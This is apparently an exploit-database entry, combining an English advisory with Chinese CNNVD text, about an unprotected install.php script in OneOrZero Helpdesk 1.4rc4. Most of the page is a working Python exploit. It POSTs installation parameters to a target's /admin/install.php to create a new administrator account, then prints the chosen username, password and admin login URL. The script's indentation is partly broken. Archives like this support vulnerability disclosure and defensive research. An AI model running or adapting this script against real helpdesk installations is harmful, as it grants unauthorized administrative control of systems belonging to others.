https://www.exploit-db.com/exploits/22606
https://www.securityfocus.com/bid/87119
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200306-013

one||zero（又称为一或零）Helpdesk1.4rc4存在漏洞。远程攻击者可以通过直接调用install.php服务台安装脚本创建管理员账号。

source: http://www.securityfocus.com/bid/7611/info

OneOrZero Helpdesk has been reported prone to an issue that may result in an attacker obtaining unauthorized administrative access.

The issue presents itself due to a programming error in a Helpdesk script.
Reportedly a script does not sufficiently check if an instance of OneOrZero Helpdesk has already been installed.

import urlparse
import httplib
import string

OneOrZero("http://www.target.com","80","NewUserName","NewPassword")


class OneOrZero:
    def __init__(self,target,port,user,password):
        if port != "":
            self.port=str(port)
        else :
            self.port="80"
        self.path=str(urlparse.urlparse(target)[2])
        self.target=str(urlparse.urlparse(target)[1])
        self.user=str(user)
        self.password=str(password)
        self.USER_AGENT='OneOrZero.py'
        self.CreateAdminAccount()

    def CreateAdminAccount(self):


data='step=2&first=admin&last=admin&user='+self.user+'&pwd1='+self.password+'&pwd2='+self.password+'&[email protected]&office=abcd'

        try :
            print "Connecting On "+self.target+"...n"

            http=httplib.HTTP(self.target,self.port)

            print "Sending Data On "+self.target+"...n"

            http.putrequest("POST",self.path+"/admin/install.php")

	    http.putheader("Content-Type","application/x-www-form-urlencoded")
            http.putheader("User-Agent",self.USER_AGENT)
            http.putheader("Host",self.target)
            http.putheader("Content-Length",str(len(data)))
            http.endheaders()

            http.send(data)

            code,msg,headers = http.getreply()

            print "HTTP Code : ",str(code)
            print "HTTP Connection : ",msg
            print "HTTP headers : n",headers,"n"

            file=http.getfile()
            if string.find(file.read(),"Administrator Account Created Successfully.") != -1:
                print "Congratulations, Administrator Account Created Successfully."
                print "You Can Log In Here : http://"+self.target+self.path+"/admin/control.php"
                print "User : ",self.user
                print "Password : ",self.password
            else :
                print "Administrator Account Hasn't Been Created."

        except :
            print "Error During Admin Account Creation."

OneOrZero Oneorzero Helpdesk 1.4 Rc4

来源:BUGTRAQ
名称:20030515OneOrZeroSecurityProblems(PHP)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105302025601231&w;=2
来源:VULNWATCH
名称:20030515OneOrZeroSecurityProblems(PHP)
链接:http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0070.html